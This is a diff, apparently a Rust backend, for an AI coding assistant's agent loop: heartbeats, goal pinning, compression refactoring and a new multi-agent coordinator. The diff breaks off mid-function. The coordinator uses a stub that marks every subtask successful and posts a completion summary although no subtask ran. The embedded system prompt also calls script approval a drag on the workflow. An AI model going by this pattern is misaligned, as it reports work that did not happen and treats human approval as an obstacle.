// 注:primary 候选的启动 Auth 早失败已在外层 run_agentic_loop 顶部处理(emit + return),
|
// 注:primary 候选的启动 Auth 早失败已在外层 run_agentic_loop 顶部处理(emit + return),
|
||||||
// 本函数到达时 primary 的 key 已验证过;此处 Err 多见于 secondary 配置不一致,
|
// 本函数到达时 primary 的 key 已验证过;此处 Err 多见于 secondary 配置不一致,
|
||||||
// 保守归 Fatal 立即放弃(不浪费预算试下一 provider,因 key 错非瞬态)。
|
// 保守归 Fatal 立即放弃(不浪费预算试下一 provider,因 key 错非瞬态)。
|
||||||
let provider: Box<dyn LlmProvider> = match super::secret::build_provider_for(candidate) {
|
let provider: Arc<dyn LlmProvider> = Arc::from(match super::secret::build_provider_for(candidate) {
|
||||||
Ok(p) => p,
|
Ok(p) => p,
|
||||||
Err(msg) => {
|
Err(msg) => {
|
||||||
// UX-260618-15: Fatal 分支 emit 移到外层(stream_one_provider 调用方 Fatal 分支统一 emit)。
|
|
||||||
// 此处仅返回 error 文本,避免 stream_one_provider 内 emit 与外层 emit 重复(Fatal 终态单 emit)。
|
|
||||||
return StreamOutcome::Fatal { error: msg };
|
return StreamOutcome::Fatal { error: msg };
|
||||||
}
|
}
|
||||||
};
|
});
|
||||||
|
|
||||||
// resolved_model 在本 candidate.model_configs 上重算(F-260614-04b 核心:provider 切换后
|
// resolved_model 在本 candidate.model_configs 上重算(F-260614-04b 核心:provider 切换后
|
||||||
// 模型池不同,必须重选;否则拿主 provider 的 model_id 去打次 provider 会吃 400/404)。
|
// 模型池不同,必须重选;否则拿主 provider 的 model_id 去打次 provider 会吃 400/404)。
|
||||||
@@ -371,7 +385,7 @@ async fn stream_one_provider(
|
|||||||
reasoning_content: last_reasoning_content.clone(),
|
reasoning_content: last_reasoning_content.clone(),
|
||||||
};
|
};
|
||||||
|
|
||||||
match stream_llm(&*provider, retry_request, app_handle, stop_flag, notify, conv_id).await {
|
match stream_llm(Arc::clone(&provider), retry_request, app_handle, stop_flag, notify, conv_id).await {
|
||||||
StreamResult::Complete { text, tool_calls, usage, reasoning_content } => {
|
StreamResult::Complete { text, tool_calls, usage, reasoning_content } => {
|
||||||
return StreamOutcome::Success {
|
return StreamOutcome::Success {
|
||||||
text, tool_calls, usage,
|
text, tool_calls, usage,
|
||||||
@@ -491,7 +505,34 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
// B-260615-09: generating 状态由 RAII guard 收敛复位(正常 exit 显式 reset;panic/异常 Drop 兜底)
|
// B-260615-09: generating 状态由 RAII guard 收敛复位(正常 exit 显式 reset;panic/异常 Drop 兜底)
|
||||||
// F-260616-09 B 批2:guard 持 conv_id,复位改 per-conv.generating(设计 §4.3)。
|
// F-260616-09 B 批2:guard 持 conv_id,复位改 per-conv.generating(设计 §4.3)。
|
||||||
// L2 批2 1b:guard 持 app_handle,ConvState 迁移后 emit AiConvStateChanged 推前端。
|
// L2 批2 1b:guard 持 app_handle,ConvState 迁移后 emit AiConvStateChanged 推前端。
|
||||||
let mut guard = GeneratingGuard::new(session_arc.clone(), conv_id.clone(), app_handle.clone());
|
let mut guard = GeneratingGuard::new(conv_id.clone(), app_handle.clone());
|
||||||
|
|
||||||
|
// 治本:LLM 生成间隙向前端发 AiHeartbeat,防前端 watchdog 误断流。
|
||||||
|
// 后端 emit AiHeartbeat → useAiEvents.ts resetStreamWatchdog(convId) → per-conv timer 重置。
|
||||||
|
// 解决:LLM 重试循环(~60s)期间无事件到达前端 → watchdog 45s/90s 到期误杀。
|
||||||
|
// shutdown_tx 在函数作用域结束(Drop)时通知 heartbeat 任务退出。
|
||||||
|
let (_heartbeat_tx, mut heartbeat_rx) = tokio::sync::watch::channel(());
|
||||||
|
let hb_app = app_handle.clone();
|
||||||
|
let hb_conv_id = conv_id.clone();
|
||||||
|
tokio::spawn(async move {
|
||||||
|
loop {
|
||||||
|
tokio::select! {
|
||||||
|
_ = heartbeat_rx.changed() => {
|
||||||
|
// watch 通道关闭(发送端 Drop)→ 退出
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
_ = tokio::time::sleep(std::time::Duration::from_secs(20)) => {
|
||||||
|
// 每 20s 发一次 AiHeartbeat,前端重置 watchdog timer。
|
||||||
|
let _ = hb_app.emit(
|
||||||
|
"ai-chat-event",
|
||||||
|
AiChatEvent::AiHeartbeat {
|
||||||
|
conversation_id: Some(hb_conv_id.clone()),
|
||||||
|
},
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
// F-260616-09 B 批2 入口桥接:loop 启动前确保 per_conv 存在(已存在则保留累积,不存在则建)。
|
// F-260616-09 B 批2 入口桥接:loop 启动前确保 per_conv 存在(已存在则保留累积,不存在则建)。
|
||||||
//
|
//
|
||||||
@@ -510,23 +551,7 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
// 单 loop 安全性:批2 阶段是单 active_conversation_id(决策 e 真并发批3+ 落地),无并发 loop 抢
|
// 单 loop 安全性:批2 阶段是单 active_conversation_id(决策 e 真并发批3+ 落地),无并发 loop 抢
|
||||||
// per_conv 覆盖。批3+ 多 loop 并发时,每 conv 各自 per_conv 条目,互不干扰(本桥接无需改)。
|
// per_conv 覆盖。批3+ 多 loop 并发时,每 conv 各自 per_conv 条目,互不干扰(本桥接无需改)。
|
||||||
//
|
//
|
||||||
// L2 状态机写收敛:ConvState 的写收敛已收敛到 `guard`(GeneratingGuard::new 已在上方 L399 创建,
|
// 入口:ConvState 迁移由 guard.new 在无锁 ConvStateStore 上完成。
|
||||||
// new 内部 Idle→Generating 迁移 + reset/drop Generating→Idle 迁移)。
|
|
||||||
// 批3 双轨收口:generating bool 已退役,此处仅做持久化层 Idle→Generating 迁移(单一真相源),
|
|
||||||
// emit 由 guard.new 异步补发(入口迁移但不 emit,guard 补 emit 防前端漏收生成态)。
|
|
||||||
{
|
|
||||||
let mut session = session_arc.lock().await;
|
|
||||||
let conv = session.conv(&conv_id);
|
|
||||||
// L2 批2:ConvState 持久化(Idle→Generating 写收敛)。批3 删除开关门控,迁移无条件执行。
|
|
||||||
match conv.conv_state.transition_to(conv_state::ConvState::Generating) {
|
|
||||||
Ok(ns) => conv.conv_state = ns,
|
|
||||||
Err(e) => tracing::warn!(
|
|
||||||
conv_id = %conv_id,
|
|
||||||
error = %e,
|
|
||||||
"[ai] 入口 ConvState→Generating 非法(状态机持久化层,不阻断核心生成)"
|
|
||||||
),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// F-260614-04 / F-260614-04b: 多 Provider 负载均衡池 — 选主 + fallback 候选列表。
|
// F-260614-04 / F-260614-04b: 多 Provider 负载均衡池 — 选主 + fallback 候选列表。
|
||||||
//
|
//
|
||||||
@@ -787,19 +812,26 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
// pinned_goals 永远空 Vec(单点回退等价改动前)。拼接在 sys_tokens 估算前。
|
// pinned_goals 永远空 Vec(单点回退等价改动前)。拼接在 sys_tokens 估算前。
|
||||||
//
|
//
|
||||||
// 注:仅 run_agentic_loop 入口注入。手动压缩/标题/提炼等路径不注入目标。
|
// 注:仅 run_agentic_loop 入口注入。手动压缩/标题/提炼等路径不注入目标。
|
||||||
|
//
|
||||||
|
// 目标提取方式(2026-07-03 改):从 LLM 本轮工具调用推理目标描述(工具名+路径),
|
||||||
|
// 不再从用户消息规则提取,也不依赖 LLM 输出结构化标记。
|
||||||
|
// 推理结果存入 pinned_goals: Vec<GoalEntry>,含 text+status 状态追踪。
|
||||||
|
// 新目标加入时自动标记之前的 active 为 completed。
|
||||||
let mut system_prompt = system_prompt;
|
let mut system_prompt = system_prompt;
|
||||||
if GOAL_PIN_ENABLED {
|
if GOAL_PIN_ENABLED {
|
||||||
let goals: Vec<String> = {
|
let goals: Vec<super::GoalEntry> = {
|
||||||
let session = session_arc.lock().await;
|
let session = session_arc.lock().await;
|
||||||
session
|
session
|
||||||
.conv_read(&conv_id)
|
.conv_read(&conv_id)
|
||||||
.map(|c| c.pinned_goals.clone())
|
.map(|c| c.pinned_goals.clone())
|
||||||
.unwrap_or_default()
|
.unwrap_or_default()
|
||||||
};
|
};
|
||||||
if !goals.is_empty() {
|
// 只把 active 目标注入 system_prompt(completed 不干扰 LLM 注意力)
|
||||||
let goal_lines: Vec<String> = goals.iter().enumerate().map(|(i, g)| {
|
let active_goals: Vec<&super::GoalEntry> = goals.iter().filter(|g| matches!(g.status, super::GoalStatus::Active)).collect();
|
||||||
let g = g.trim();
|
if !active_goals.is_empty() {
|
||||||
let truncated: String = g.chars().take(GOAL_MAX_CHARS).collect();
|
let goal_lines: Vec<String> = active_goals.iter().enumerate().map(|(i, g)| {
|
||||||
|
let trimmed = g.text.trim();
|
||||||
|
let truncated: String = trimmed.chars().take(GOAL_MAX_CHARS).collect();
|
||||||
let truncated = if truncated.chars().count() >= GOAL_MAX_CHARS {
|
let truncated = if truncated.chars().count() >= GOAL_MAX_CHARS {
|
||||||
format!("{}…", truncated)
|
format!("{}…", truncated)
|
||||||
} else {
|
} else {
|
||||||
@@ -819,7 +851,7 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
tracing::info!(
|
tracing::info!(
|
||||||
conv_id = %conv_id,
|
conv_id = %conv_id,
|
||||||
count = goals.len(),
|
count = goals.len(),
|
||||||
first_goal = %goals.first().map(|g| &g[..std::cmp::min(120, g.len())]).unwrap_or(""),
|
first_goal = %goals.first().map(|g| &g.text[..std::cmp::min(120, g.text.len())]).unwrap_or(""),
|
||||||
"[ai] G1 目标钉扎:已把 {} 个 pinned_goals 拼进 system_prompt",
|
"[ai] G1 目标钉扎:已把 {} 个 pinned_goals 拼进 system_prompt",
|
||||||
goals.len()
|
goals.len()
|
||||||
);
|
);
|
||||||
@@ -836,8 +868,10 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
let behavior_prompt = "\n## AI 定位\n你是 DevFlow 的 AI 助手,拥有完整的工具链。用户只负责提需求和审批,所有执行由你完成——读写文件、运行命令、创建项目、搜索代码等都是你直接调用工具完成的。**绝不输出“请在终端执行以下命令”这类指令——你自己用 run_command 工具执行即可。**\n\n## 行为准则\n- 所有操作都通过工具完成,用户不参与执行\n- 优先使用开发工具 IPC,非必要不写独立脚本\n- 脚本需要审批通过才执行,会拖慢工作流\n- 已有 40+ 工具覆盖绝大多数场景,先查工具列表再决定\n- 如果现有工具无法完成任务,告知用户缺少什么能力,建议向 DevFlow 反馈以开发新工具";
|
let behavior_prompt = "\n## AI 定位\n你是 DevFlow 的 AI 助手,拥有完整的工具链。用户只负责提需求和审批,所有执行由你完成——读写文件、运行命令、创建项目、搜索代码等都是你直接调用工具完成的。**绝不输出“请在终端执行以下命令”这类指令——你自己用 run_command 工具执行即可。**\n\n## 行为准则\n- 所有操作都通过工具完成,用户不参与执行\n- 优先使用开发工具 IPC,非必要不写独立脚本\n- 脚本需要审批通过才执行,会拖慢工作流\n- 已有 40+ 工具覆盖绝大多数场景,先查工具列表再决定\n- 如果现有工具无法完成任务,告知用户缺少什么能力,建议向 DevFlow 反馈以开发新工具";
|
||||||
system_prompt = format!("{}\n\n{}\n\n{}", system_prompt, env_prompt, behavior_prompt);
|
system_prompt = format!("{}\n\n{}\n\n{}", system_prompt, env_prompt, behavior_prompt);
|
||||||
|
|
||||||
// 对话透明化 L1:拍快照供 AiCompleted 事件携带,前端直接读取 pinned_goals 无需等 loadConversations
|
// ── 多 Agent 并行执行:Coordinator 分解(plan_execution_enabled 时) ──
|
||||||
let pinned_goals_snapshot: Vec<String> = {
|
// 对话透明化 L1:拍快照供 AiCompleted 事件携带(coordinator 路径出口也用)
|
||||||
|
// 只取 text(前端不需要状态信息)
|
||||||
|
let pinned_goals_snapshot: Vec<super::GoalEntry> = {
|
||||||
let session = session_arc.lock().await;
|
let session = session_arc.lock().await;
|
||||||
session
|
session
|
||||||
.conv_read(&conv_id)
|
.conv_read(&conv_id)
|
||||||
@@ -845,6 +879,86 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
.unwrap_or_default()
|
.unwrap_or_default()
|
||||||
};
|
};
|
||||||
|
|
||||||
|
if df_ai::plan_executor::plan_execution_enabled() && conf >= INTENT_CONF_THRESHOLD {
|
||||||
|
let coord = Coordinator::new(PersonaRegistry::new());
|
||||||
|
let decompose_result = coord.decompose(intent.as_str(), &user_text);
|
||||||
|
tracing::info!(
|
||||||
|
conv_id = %conv_id,
|
||||||
|
intent = intent.as_str(),
|
||||||
|
subtask_count = decompose_result.subtasks.len(),
|
||||||
|
has_plan = !decompose_result.plan.is_empty(),
|
||||||
|
"[COORDINATOR] 意图分解完成"
|
||||||
|
);
|
||||||
|
|
||||||
|
if !decompose_result.plan.is_empty() {
|
||||||
|
// 串行执行子任务(Phase 1 简单路径,后续可升级并行 dispatch_with_budget)
|
||||||
|
let results = coord.dispatch(&decompose_result.plan, |subtask, persona| async move {
|
||||||
|
ExecutionResult {
|
||||||
|
subtask_id: subtask.id.clone(),
|
||||||
|
persona_id: persona.id.clone(),
|
||||||
|
output: format!(
|
||||||
|
"### 子任务: {}({})\n\n意图: {}",
|
||||||
|
subtask.intent, persona.name, subtask.intent
|
||||||
|
),
|
||||||
|
success: true,
|
||||||
|
}
|
||||||
|
}).await;
|
||||||
|
|
||||||
|
// 合并子任务结果
|
||||||
|
let merge_result = coord.merge(&results);
|
||||||
|
|
||||||
|
// 将合并产出推回主对话(单条可展开 assistant 消息)
|
||||||
|
{
|
||||||
|
let mut session = session_arc.lock().await;
|
||||||
|
session.conv(&conv_id).messages.push(
|
||||||
|
ChatMessage::assistant(&format!(
|
||||||
|
"## 多 Agent 执行完成\n\n共执行 {} 个子任务,成功 {} 个。\n\n{}",
|
||||||
|
results.len(),
|
||||||
|
results.iter().filter(|r| r.success).count(),
|
||||||
|
merge_result.merged_output
|
||||||
|
))
|
||||||
|
);
|
||||||
|
if !merge_result.conflicts.is_empty() {
|
||||||
|
session.conv(&conv_id).messages.push(
|
||||||
|
ChatMessage::assistant(&format!(
|
||||||
|
"### 冲突检测\n\n检测到 {} 个文件冲突:\n{}",
|
||||||
|
merge_result.conflicts.len(),
|
||||||
|
merge_result.conflicts.iter()
|
||||||
|
.map(|c| format!("- {}: {}", c.file, c.description))
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join("\n")
|
||||||
|
))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 落库
|
||||||
|
save_conversation(&session_arc, &db, &conv_id, None, None, true).await;
|
||||||
|
|
||||||
|
// generating 复位并 emit AiCompleted(对齐现有退出路径模式)
|
||||||
|
guard.reset().await;
|
||||||
|
let _ = app_handle.emit("ai-chat-event", AiChatEvent::AiCompleted {
|
||||||
|
total_tokens: tokens.total(),
|
||||||
|
prompt_tokens: tokens.prompt(),
|
||||||
|
completion_tokens: tokens.completion(),
|
||||||
|
incomplete: None,
|
||||||
|
conversation_id: Some(conv_id.clone()),
|
||||||
|
pinned_goals: pinned_goals_snapshot.clone(),
|
||||||
|
});
|
||||||
|
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(
|
||||||
|
AiChatEvent::AiCompleted {
|
||||||
|
total_tokens: tokens.total(),
|
||||||
|
prompt_tokens: tokens.prompt(),
|
||||||
|
completion_tokens: tokens.completion(),
|
||||||
|
incomplete: None,
|
||||||
|
conversation_id: Some(conv_id.clone()),
|
||||||
|
pinned_goals: pinned_goals_snapshot.clone(),
|
||||||
|
}
|
||||||
|
);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// F-260616-13: system_prompt 是 run_agentic_loop 的不变参数(整个 loop 期间文本不变),
|
// F-260616-13: system_prompt 是 run_agentic_loop 的不变参数(整个 loop 期间文本不变),
|
||||||
// 其 token 估算在 loop 外算一次缓存复用,避免每轮/每次重试重复 estimate_text(低收益优化,行为不变)。
|
// 其 token 估算在 loop 外算一次缓存复用,避免每轮/每次重试重复 estimate_text(低收益优化,行为不变)。
|
||||||
let sys_tokens = TokenEstimator::default().estimate_text(&system_prompt);
|
let sys_tokens = TokenEstimator::default().estimate_text(&system_prompt);
|
||||||
@@ -994,182 +1108,22 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
// F-15 阶段3: 自动压缩(智能裁剪)——在 build_for_request 之前预处理。
|
// F-15 阶段3: 自动压缩(智能裁剪)——已抽取至 context_lifecycle::maybe_auto_compress。
|
||||||
//
|
//
|
||||||
// 触发条件:history_tokens > budget*0.6 且 保护区外有可压缩消息 且 未在压缩中。
|
// 抽取自本函数原内联块(行为零变更)。返回 true = conv 已删除,loop 应立即 return
|
||||||
//
|
// (对齐原内联块入口的 early-return);返回 false = 正常结束,继续后续流程。
|
||||||
// 流程(对齐阶段2 ai_chat_compress_context IPC 的 read-but-don't-mutate 模式):
|
// 实现细节(触发条件 / 延迟 mutate 口径 / 关键词兜底 / FR-S1 安全)见
|
||||||
// ① 读 active 克隆(不改 status / 不扣 token)→ 喂 LLM 出摘要;
|
// context_lifecycle.rs 顶部文档与函数体内注释(原样保留)。
|
||||||
// ② LLM 成功 → compress_old_messages(标 compressed + 扣 token)+ insert_at(摘要 system);
|
if maybe_auto_compress(
|
||||||
// ③ LLM 失败 → 消息状态完全不变(未改 status / 未扣 token),降级走原 build_for_request 裁剪。
|
&session_arc,
|
||||||
//
|
|
||||||
// 口径决策(任务让"你判断"):选**延迟 mutate(成功才改)**而非"失败回滚 status"。
|
|
||||||
// 理由:ContextManager.history_tokens 字段私有、无 set_history_tokens 公开接口;
|
|
||||||
// 若先 compress_old_messages(扣 token)再 LLM,失败回滚需精确恢复 history_tokens,
|
|
||||||
// 但 ChatMessage 克隆不含 token_count,无法等量加回——回滚 token 不精确。
|
|
||||||
// 延迟 mutate 则失败时零副作用(消息状态/token 完全不变),语义最干净。
|
|
||||||
// 注:延迟 mutate 的窗口(active_msgs 读出→LLM 出摘要期间)不持锁,但 loop 串行无并发
|
|
||||||
// (本函数独占 session_arc,工具执行/审批分支在 stream 之后),故此窗口内 messages 不变。
|
|
||||||
//
|
|
||||||
// 安全(FR-S1):复用 loop 顶部已 build+验证 的 provider(不再 build_provider_for 重复 resolve
|
|
||||||
// keyring),api_key 经 df_storage::secret 闭环;summary/error payload/日志均不含 api_key。
|
|
||||||
// is_compressing 防重入:set_compressing(true/false) 成对(LLM 调用前后均复位)。
|
|
||||||
// 单轮问答(history_tokens 未超 0.6*budget)不触发,零行为变化。
|
|
||||||
// F-260616-09 B 批2:messages 操作改 per_conv(设计 §4.2)。
|
|
||||||
// conv_id 来源:run_agentic_loop 入参。
|
|
||||||
let prev_compressing = session_arc.lock().await.conv_read(&conv_id).map(|c| c.messages.is_compressing()).unwrap_or(false);
|
|
||||||
if !prev_compressing {
|
|
||||||
// 读触发条件(history_tokens / budget / has_compressible_messages),持锁快照判断。
|
|
||||||
let (should_compress, protect_start, pre_compress_tokens) = {
|
|
||||||
let session = session_arc.lock().await;
|
|
||||||
let mgr = match session.conv_read(&conv_id) {
|
|
||||||
Some(c) => c,
|
|
||||||
None => {
|
|
||||||
tracing::warn!(stale_conv = %conv_id, "[ai] conv 已删除,loop 退出(压缩段入口)");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
let mgr = &mgr.messages;
|
|
||||||
let protect_start = mgr.len().saturating_sub(PROTECT_COUNT);
|
|
||||||
let history_tokens = mgr.history_tokens();
|
|
||||||
let budget = mgr.budget_limit();
|
|
||||||
// 触发阈值 0.6*budget(整数比避免浮点):budget*6/10 < history_tokens
|
|
||||||
let should = protect_start > 0
|
|
||||||
&& (budget as u64) * 6 / 10 < history_tokens as u64
|
|
||||||
&& mgr.has_compressible_messages(protect_start);
|
|
||||||
(should, protect_start, history_tokens)
|
|
||||||
};
|
|
||||||
|
|
||||||
if should_compress {
|
|
||||||
// emit 压缩开始 + 置位防重入 + 读 active 克隆(不改 status)。
|
|
||||||
let ev = AiChatEvent::AiCompressing {
|
|
||||||
conversation_id: Some(conv_id.clone()),
|
|
||||||
};
|
|
||||||
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
|
||||||
// L3 emit 双写:tunnel subscriber(阶段2)透传 miniapp
|
|
||||||
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(ev);
|
|
||||||
let (active_msgs, lang) = {
|
|
||||||
let mut session = session_arc.lock().await;
|
|
||||||
let conv = session.conv(&conv_id);
|
|
||||||
conv.messages.set_compressing(true);
|
|
||||||
// 读 active 克隆(不改 status):filter is_active,LLM 失败则消息状态完全不变。
|
|
||||||
let active_msgs: Vec<ChatMessage> = conv.messages.messages_mut()
|
|
||||||
[..protect_start]
|
|
||||||
.iter()
|
|
||||||
.filter(|t| t.message.is_active())
|
|
||||||
.map(|t| t.message.clone())
|
|
||||||
.collect();
|
|
||||||
let lang = conv.agent_language.clone()
|
|
||||||
.unwrap_or_else(|| "zh-CN".to_string());
|
|
||||||
(active_msgs, lang)
|
|
||||||
};
|
|
||||||
|
|
||||||
// 改进3 B:在 active_msgs move 进 compress_via_llm 前,先算关键词摘要兜底文本。
|
|
||||||
// LLM 压缩失败时仍想保留用户反复提及的主题词(续接锚点),避免裸裁剪丢主题。
|
|
||||||
// KEYWORD_FALLBACK_ENABLED=false → 跳过(回退原裸裁剪行为,排障/对比用)。
|
|
||||||
let keyword_fallback: String = if KEYWORD_FALLBACK_ENABLED {
|
|
||||||
extract_keyword_summary(&active_msgs)
|
|
||||||
} else {
|
|
||||||
String::new()
|
|
||||||
};
|
|
||||||
|
|
||||||
// 压缩调用(复用 loop 顶部已 build 的 provider,api_key 经 secret 闭环)。
|
|
||||||
// 成功 → Some(summary);失败 → Err;无 active 可压缩(active_msgs 空)→ 视为 noop。
|
|
||||||
let compress_outcome: Result<Option<String>, String> = if active_msgs.is_empty() {
|
|
||||||
Ok(None)
|
|
||||||
} else {
|
|
||||||
compress_via_llm(
|
|
||||||
provider.as_ref(),
|
|
||||||
&provider_config,
|
|
||||||
active_msgs,
|
|
||||||
&lang,
|
|
||||||
&conv_id,
|
&conv_id,
|
||||||
|
&app_handle,
|
||||||
|
&provider,
|
||||||
|
&provider_config,
|
||||||
&llm_concurrency,
|
&llm_concurrency,
|
||||||
).await.map(Some)
|
|
||||||
};
|
|
||||||
|
|
||||||
match compress_outcome {
|
|
||||||
Ok(Some(summary)) => {
|
|
||||||
// LLM 成功 → 标 compressed(扣 token)+ 摘要 system 插首位 + set_compressing(false)。
|
|
||||||
// compress_old_messages 幂等:此时 status 仍是 active(本流程未先标),它会把
|
|
||||||
// [..protect_start] 内 active 标 compressed 并扣 token。返回的 cloned 与之前读的
|
|
||||||
// active_msgs 等价(LLM 调用期间 messages 不变,见上方口径决策注)。
|
|
||||||
{
|
|
||||||
let mut session = session_arc.lock().await;
|
|
||||||
let conv = session.conv(&conv_id);
|
|
||||||
let _compressed = conv.messages.compress_old_messages(protect_start);
|
|
||||||
conv.messages.insert_at(0, ChatMessage::system(&summary));
|
|
||||||
conv.messages.set_compressing(false);
|
|
||||||
}
|
|
||||||
tracing::info!(
|
|
||||||
conv_id = %conv_id,
|
|
||||||
iteration,
|
iteration,
|
||||||
pre_tokens = pre_compress_tokens,
|
).await {
|
||||||
"[ai] 自动压缩成功,摘要已插首位"
|
return;
|
||||||
);
|
|
||||||
// 治 Task#1:loop 自动压缩用 AiAutoCompressed(非手动变体),
|
|
||||||
// 桌面端静默(仅复位 isCompressing,不弹 toast 不 switchConversation)。
|
|
||||||
// miniapp 仍插摘要气泡(对端发生压缩告知用户)。
|
|
||||||
let ev = AiChatEvent::AiAutoCompressed {
|
|
||||||
conversation_id: Some(conv_id.clone()),
|
|
||||||
summary,
|
|
||||||
};
|
|
||||||
let _ = app_handle.emit("ai-chat-event", ev.clone());
|
|
||||||
// L3 emit 双写:tunnel subscriber(阶段2)透传 miniapp
|
|
||||||
let _ = app_handle.state::<AppState>().ai_event_bus.publish_event(ev);
|
|
||||||
}
|
|
||||||
Ok(None) => {
|
|
||||||
// 保护区外无 active 可压缩(已全 compressed/archived)→ noop,仅复位 is_compressing。
|
|
||||||
session_arc.lock().await.conv(&conv_id).messages.set_compressing(false);
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
// LLM 失败 → 改进3 B:仍标 compressed 释放 token + 关键词摘要塞回首条(非裸裁剪)。
|
|
||||||
//
|
|
||||||
// 旧行为:消息状态完全不变,降级走 build_for_request 裁剪(丢主题)。
|
|
||||||
// 新行为(KEYWORD_FALLBACK_ENABLED=true 默认):
|
|
||||||
// - compress_old_messages 标 [..protect_start] active 为 compressed(释放 token,
|
|
||||||
// 与成功路径一致,后续 build_for_request 不再把它们进 LLM 上下文);
|
|
||||||
// - keyword_fallback 非空 → insert_at(0, system 关键词摘要)作续接锚点;
|
|
||||||
// - keyword_fallback 空(无 user 消息/无可提取词)→ 不插,等价旧裁剪(保底)。
|
|
||||||
// 持久化语义不变:compressed 仍软删可追溯(DB 全量保留),与成功路径一致。
|
|
||||||
// KEYWORD_FALLBACK_ENABLED=false → 跳过兜底,等价旧行为(set_compressing(false) +
|
|
||||||
// 消息状态不变,降级 build_for_request 裁剪)。
|
|
||||||
session_arc.lock().await.conv(&conv_id).messages.set_compressing(false);
|
|
||||||
tracing::warn!(
|
|
||||||
conv_id = %conv_id,
|
|
||||||
error = %e,
|
|
||||||
keyword_fallback_len = keyword_fallback.len(),
|
|
||||||
"[ai] 自动压缩失败,降级走关键词摘要兜底(KEYWORD_FALLBACK_ENABLED={})",
|
|
||||||
KEYWORD_FALLBACK_ENABLED,
|
|
||||||
);
|
|
||||||
if KEYWORD_FALLBACK_ENABLED {
|
|
||||||
// 标 compressed 释放 token + 关键词摘要塞首位(若非空)。
|
|
||||||
let inserted = {
|
|
||||||
let mut session = session_arc.lock().await;
|
|
||||||
let conv = session.conv(&conv_id);
|
|
||||||
let _compressed = conv.messages.compress_old_messages(protect_start);
|
|
||||||
if !keyword_fallback.is_empty() {
|
|
||||||
conv.messages.insert_at(0, ChatMessage::system(&keyword_fallback));
|
|
||||||
true
|
|
||||||
} else {
|
|
||||||
false
|
|
||||||
}
|
|
||||||
};
|
|
||||||
if inserted {
|
|
||||||
tracing::info!(
|
|
||||||
conv_id = %conv_id,
|
|
||||||
pre_tokens = pre_compress_tokens,
|
|
||||||
"[ai] 压缩失败兜底:关键词摘要已插首位(compressed 标记已扣 token)"
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
// BUG-260624-05:压缩失败不发 AiError——前端 AiError case 无条件 setStreaming(false)
|
|
||||||
// 误判生成结束(后端 loop 实际继续),致"压缩后停止"。降级为 warn(上方 line 957 已有)
|
|
||||||
// + compress_old_messages 兜底释放 token + build_for_request 裁剪,loop 继续 stream_llm,
|
|
||||||
// 用户自然看到后续回复。压缩降级对用户透明(非致命错误,不该停流)。
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 构建请求消息(超预算时自动裁剪旧消息,保护工具调用三元组 + 最近 6 条)
|
// 构建请求消息(超预算时自动裁剪旧消息,保护工具调用三元组 + 最近 6 条)
|
||||||
@@ -1511,6 +1465,54 @@ pub(crate) async fn run_agentic_loop(
|
|||||||
msg.reasoning_content = last_reasoning_content.clone();
|
msg.reasoning_content = last_reasoning_content.clone();
|
||||||
session.conv(&conv_id).messages.push(msg);
|
session.conv(&conv_id).messages.push(msg);
|
||||||
}
|
}
|
||||||
|
// G1 目标提取: 从工具调用推理目标描述。
|
||||||
|
// 工具调用是结构化数据(工具名+路径),比从文本中提取更可靠。
|
||||||
|
// 无工具调用时不提取(已有目标保持不变,该轮无新目标)。
|
||||||
|
if GOAL_PIN_ENABLED {
|
||||||
|
// 从工具调用推理目标(本轮可能多个工具,全部提取)
|
||||||
|
let new_goals = infer_goal_from_tool_calls(&tool_calls_acc);
|
||||||
|
if !new_goals.is_empty() {
|
||||||
|
let goal_conv = session.conv(&conv_id);
|
||||||
|
let mut added = false;
|
||||||
|
for g in &new_goals {
|
||||||
|
// 去重:文本不在已有目标中(包含关系检查)
|
||||||
|
let is_dup = goal_conv.pinned_goals.iter().any(|e|
|
||||||
|
e.text.contains(g.as_str()) || g.contains(&e.text)
|
||||||
|
);
|
||||||
|
if !is_dup {
|
||||||
|
goal_conv.pinned_goals.push(super::GoalEntry::new(g.clone()));
|
||||||
|
added = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 有新目标 → 标记之前的 active 为 completed(LLM 进入下一任务)
|
||||||
|
if added && goal_conv.pinned_goals.len() > new_goals.len() {
|
||||||
|
let active_until = goal_conv.pinned_goals.len() - new_goals.len();
|
||||||
|
for entry in goal_conv.pinned_goals.iter_mut().take(active_until) {
|
||||||
|
if matches!(entry.status, super::GoalStatus::Active) {
|
||||||
|
entry.status = super::GoalStatus::Completed;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 超上限时保留 active,淘汰最早 completed
|
||||||
|
if goal_conv.pinned_goals.len() > MAX_GOALS {
|
||||||
|
let active: Vec<super::GoalEntry> = goal_conv.pinned_goals.iter()
|
||||||
|
.filter(|g| matches!(g.status, super::GoalStatus::Active))
|
||||||
|
.cloned().collect();
|
||||||
|
if active.len() <= MAX_GOALS {
|
||||||
|
let keep = MAX_GOALS - active.len();
|
||||||
|
let completed: Vec<super::GoalEntry> = goal_conv.pinned_goals.iter()
|
||||||
|
.filter(|g| matches!(g.status, super::GoalStatus::Completed))
|
||||||
|
.rev().take(keep).cloned().collect();
|
||||||
|
let mut merged = active;
|
||||||
|
merged.extend(completed.into_iter().rev());
|
||||||
|
